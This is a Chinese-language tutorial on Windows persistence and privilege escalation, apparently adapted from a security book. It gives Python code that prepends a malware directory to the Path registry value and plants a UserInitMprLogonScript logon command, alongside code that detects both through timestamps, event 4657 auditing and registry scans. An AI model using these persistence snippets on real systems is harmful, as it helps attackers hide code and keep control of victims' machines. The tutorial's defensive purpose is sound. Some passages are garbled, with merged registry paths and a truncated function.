在 Windows 環境中,Path 變數決定了系統搜尋可執行檔的順序。惡意程式可以藉由修改 Path 變數,將自身偽裝成合法程式,提升執行優先順序,以達到隱藏自身並持續控制系統的目的。本文將探討如何使用 Python 操作 Windows 登入檔,修改 Path 變數以實作攻擊,同時也提供檢測和防禦此類別攻擊的技術與方法。藉由瞭解攻擊原理和實作方式,系統管理員可以更好地保護系統安全,防範惡意軟體的入侵。
維持持續性:修改Windows Path變數
在Windows系統中,Path環境變數定義了系統搜尋可執行檔的順序。修改Path變數可以讓惡意軟體偽裝成合法應用程式,從而實作持續性攻擊。本章節將探討如何使用Python修改Windows Path變數,以及如何檢測Path變數的修改。
修改Path變數
Path變數儲存在Windows登入檔中的兩個位置:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\EnvironmentHKCU\Environment
每個位置都有一個名為Path的值,系統會將這兩個值合併成最終的Path變數。修改其中任意一個值都會影響系統的Path變數。
修改Path變數的步驟
- 讀取目前Path變數的值:使用
readPathValue函式讀取登入檔中的Path值。 - 新增目錄到Path變數:將目標目錄新增到Path變數的開頭,以提高其優先順序。
- 寫入新的Path變數值:使用
editPathValue函式將新的Path值寫入登入檔。
程式碼範例
import winreg
def readPathValue(hive, subkey):
with winreg.OpenKey(hive, subkey) as key:
for i in range(winreg.QueryInfoKey(key)[1]):
name, value, type = winreg.EnumValue(key, i)
if name == 'Path':
return value
return None
def editPathValue(hive, subkey, new_path):
with winreg.OpenKey(hive, subkey, 0, winreg.KEY_SET_VALUE) as key:
winreg.SetValueEx(key, 'Path', 0, winreg.REG_EXPAND_SZ, new_path)
# 使用範例
hive = winreg.HKEY_CURRENT_USER
subkey = 'Environment'
current_path = readPathValue(hive, subkey)
new_path = 'C:\\malware;' + current_path
editPathValue(hive, subkey, new_path)
內容解密:
readPathValue函式遍歷登入檔中的值,直到找到名為Path的值,並傳回其內容。editPathValue函式開啟登入檔中的指定鍵,並使用SetValueEx函式設定新的Path值。- 在使用範例中,我們先讀取目前的Path值,然後將惡意軟體目錄新增到Path變數的開頭,最後寫入新的Path值。
檢測Path變數的修改
由於登入檔中的值沒有記憶功能,一旦被覆寫就無法還原。因此,檢測Path變數的修改比較困難。但是,我們可以透過檢查登入檔鍵的最後修改時間戳來判斷Path變數是否被修改。
程式碼範例
import filetime
import winreg
from datetime import datetime, timedelta
def check_path_modification():
delta = timedelta(weeks=2)
t = filetime.from_datetime(datetime.now() - delta)
hive = winreg.HKEY_LOCAL_MACHINE
subkey = 'SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment'
with winreg.OpenKey(hive, subkey) as key:
timestamp = filetime.to_datetime(winreg.QueryInfoKey(key)[2])
if timestamp > datetime.now() - delta:
print('Path變數最近被修改過')
else:
print('Path變數最近沒有被修改')
check_path_modification()
內容解密:
check_path_modification函式檢查指定登入檔鍵的最後修改時間戳。- 如果時間戳在最近兩週內,則表示Path變數最近被修改過。
- 這種方法只能檢測到登入檔鍵的修改,而不能檢測到具體的值是否被修改。
監測Windows系統登入檔變更的技術實踐
啟用稽核事件以監測登入檔變更
Windows作業系統提供了一個事件程式碼(4657)來記錄對登入檔的修改。然而,這個事件預設是停用的,需要手動啟用稽核功能來監測特定登入檔鍵值的變更。
設定本地安全策略
- 開啟「本地安全策略」編輯器。
- 導航至「安全設定」 > 「進階稽核原則設定」 > 「系統稽核原則」。
- 啟用「稽核物件存取」並設定為稽核成功和失敗的嘗試。
設定登入檔稽核
- 開啟「登入檔編輯器」。
- 找到需要監測的鍵值(例如:Environment鍵)。
- 右鍵點選該鍵值,選擇「許可權」。
- 在「許可權」對話方塊中,點選「進階」按鈕。
- 在「進階安全性設定」對話方塊中,切換到「稽核」標籤頁。
- 點選「新增」按鈕,新增稽核專案,設定為稽核「所有人」對該鍵值和子鍵的「完全控制」。
使用Python監測登入檔變更事件
啟用稽核功能後,可以使用Python來處理Windows事件日誌,提取有關登入檔變更的資訊。
DetectPathModificationEvent.py程式碼解析
import win32evtlog
server = "localhost"
logtype = "Security"
flags = win32evtlog.EVENTLOG_FORWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ
def QueryEventLog(eventID, filename=None):
logs = []
if not filename:
h = win32evtlog.OpenEventLog(server, logtype)
else:
h = win32evtlog.OpenBackupEventLog(server, filename)
while True:
events = win32evtlog.ReadEventLog(h, flags, 0)
if events:
for event in events:
if event.EventID == eventID:
logs.append(event)
else:
break
return logs
def detectPathModification():
events = QueryEventLog(4657)
for event in events:
if event.StringInserts[5] == "Path":
key = event.StringInserts[4]
oldPath = event.StringInserts[9].split(";")
newPath = event.StringInserts[11].split(";")
additions = [d for d in newPath if d not in oldPath]
deletions = [d for d in oldPath if d not in newPath]
process = event.StringInserts[-1]
pid = event.StringInserts[-2]
print("Path at %s modified by %s (PID %s):" % (key, process, pid))
if additions:
print("\tAdditions: ")
for a in additions:
print("\t\t%s" % a)
#### 程式碼解密:
1. **匯入必要的模組**:程式碼首先匯入了`win32evtlog`模組,這是用於存取Windows事件日誌的Python擴充套件模組。
2. **定義事件日誌查詢函式**:`QueryEventLog`函式用於查詢特定事件ID的事件日誌記錄。它接受事件ID和可選的日誌檔案名稱作為引數。
3. **開啟事件日誌**:函式內部根據是否提供了日誌檔案名稱,決定是開啟實時事件日誌還是備份事件日誌。
4. **讀取事件日誌記錄**:使用`ReadEventLog`函式讀取事件日誌記錄,並篩選出指定事件ID的記錄。
5. **定義檢測Path修改的函式**:`detectPathModification`函式呼叫`QueryEventLog`查詢事件ID為4657的記錄,這些記錄與登入檔修改相關。
6. **分析事件記錄**:對於每個相關的事件記錄,函式提取出被修改的鍵值、舊的Path值、新的Path值、執行修改的程式名稱和PID等資訊。
7. **計算Path值的變化**:透過比較舊的和新的Path值,計算出新增和刪除的路徑。
8. **輸出結果**:最後,函式輸出Path被修改的詳細資訊,包括被修改的鍵值、執行修改的程式和PID,以及具體的新增和刪除的路徑。
## 維持永續性與提權攻擊的檢測及防禦
在前一章中,我們探討瞭如何利用Python來強化攻擊者在受感染電腦上的立足點,採用了永續性機制。本章節將討論如何使用類別似技術來獲得提升的許可權或擴充套件存取許可權。
### 提權攻擊的實行
本章節重點關注**啟動或登入初始化指令碼**和**劫持執行流程**。首先,我們將探討使用登入指令碼來擴充套件許可權,接著展示如何劫持Python的匯入模組搜尋順序。
#### 登入指令碼的建立與檢測
登入指令碼儲存在Windows登入檔中,但其位置與自動執行鍵略有不同。登入指令碼僅在使用者登入事件觸發,這意味著它們不位於`HKEY_LOCAL_MACHINE (HKLM)`組態單元內。登入指令碼是為個別使用者帳戶在其特定的組態單元中定義的。
##### LogonScript.py 程式碼分析
```python
import winreg
# Windows 登入指令碼鍵
# reghive = winreg.HKEY_CURRENT_USER
# regpath = "Environment"
reghive = winreg.HKEY_USERS
userSID = "<userSID>"
regpath = userSID + "\Environment"
command = "cmd.exe"
內容解密:
- 匯入winreg模組:該模組允許Python程式與Windows登入檔進行互動。
- 定義登入檔鍵:程式碼定義了兩個可能的登入檔位置,分別對應當前使用者和特定使用者SID下的
Environment鍵。 - 設定命令:
command變數被設定為"cmd.exe",表示將要執行的命令。
檢測登入指令碼
為了檢測惡意的登入指令碼,我們需要監控登入檔的變化,特別是在HKEY_USERS下的Environment鍵。
DetectLogonScript.py 程式碼分析
import winreg
# 檢測登入指令碼
def detect_logon_script():
reghive = winreg.HKEY_USERS
userSID = "<userSID>"
regpath = userSID + "\Environment"
try:
key = winreg.OpenKey(reghive, regpath)
value, type_id = winreg.QueryValueEx(key, "Script")
print(f"發現登入指令碼:{value}")
except FileNotFoundError:
print("未發現登入指令碼")
detect_logon_script()
內容解密:
- 開啟登入檔鍵:使用
winreg.OpenKey開啟指定的登入檔鍵。 - 查詢值:使用
winreg.QueryValueEx查詢Script值,以檢測是否存在登入指令碼。 - 處理異常:如果指定的值不存在,捕捉
FileNotFoundError異常並輸出相應資訊。
練習建議
- 修改
LogonScript.py以在HKU組態單元中建立登入指令碼。 - 修改
DetectLogonScript.py以檢測登入檔中其他可能被利用的位置。
透過這些練習,您將更好地理解如何利用Python來強化系統安全,並檢測潛在的提權攻擊。
使用登入指令碼進行許可權提升
在Windows系統中,登入指令碼是一種可以在使用者登入時自動執行的程式碼。攻擊者可以利用這種機制來擴大他們在受感染系統上的足跡。
建立登入指令碼
要建立使用者登入指令碼,需要在Windows登入檔中的Environment鍵內建立一個名為UserInitMprLogonScript的值,該值指向要在登入時執行的命令。這可以透過以下兩行程式碼實作:
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)
winreg.SetValueEx(key, "UserInitMprLogonScript", 0, winreg.REG_SZ, command)
內容解密:
winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE):此函式用於開啟登入檔中的指定鍵,並傳回一個可寫入的控制程式碼。其中reghive代表登入檔的主鍵,如HKEY_CURRENT_USER或HKEY_USERS,而regpath則是該主鍵下的路徑。winreg.SetValueEx(key, "UserInitMprLogonScript", 0, winreg.REG_SZ, command):此函式用於在指定的登入檔鍵中設定一個值。在這裡,它設定了一個名為UserInitMprLogonScript的字串值,值的內容是command變數所代表的命令,這個命令將在使用者登入時執行。
執行程式碼
執行此程式碼所需的許可權取決於要修改的登入檔鍵。如果是修改當前使用者的設定(即HKEY_CURRENT_USER),則只需要使用者級別的許可權。如果要修改其他使用者的資料(即HKEY_USERS下的某個SID對應的鍵),則需要管理員許可權。
偵測登入指令碼
為了偵測和移除惡意的登入指令碼,可以搜尋Windows登入檔。以下是一個Python指令碼範例(DetectLogonScript.py),它利用了Python的winreg函式庫來達成這一目的:
import winreg
def checkValues(key, keyword):
numValues = winreg.QueryInfoKey(key)[1]
for i in range(numValues):
try:
values = winreg.EnumValue(key, i)
if values[0] == keyword:
return values[1]
except Exception as e:
continue
return None
def checkLogonScripts():
try:
numUsers = winreg.QueryInfoKey(winreg.HKEY_USERS)[0]
for i in range(numUsers):
userKey = winreg.EnumKey(winreg.HKEY_USERS, i)
regPath = "%s\\%s" % (userKey, "Environment")
key = winreg.OpenKey(winreg.HKEY_USERS, regPath)
script = checkValues(key, "UserInitMprLogonScript")
if script:
print("在HKU\\%s\\Environment下偵測到登入指令碼:\n\t%s" % (userKey, script))
except:
return
checkLogonScripts()
內容解密:
checkValues函式用於檢查指定的登入檔鍵中是否存在名為keyword的值,如果存在,則傳回該值的內容。checkLogonScripts函式遍歷HKEY_USERS下的所有子鍵,檢查每個使用者的Environment鍵下是否存在UserInitMprLogonScript值。如果存在,則列印出該登入指令碼的內容。
登入指令碼的安全風險
登入指令碼可能帶來嚴重的安全風險,因為它們允許惡意程式碼在使用者完成登入程式之前在帳戶內執行。因此,定期搜尋和檢查登入檔以偵測和移除惡意的登入指令碼是非常重要的。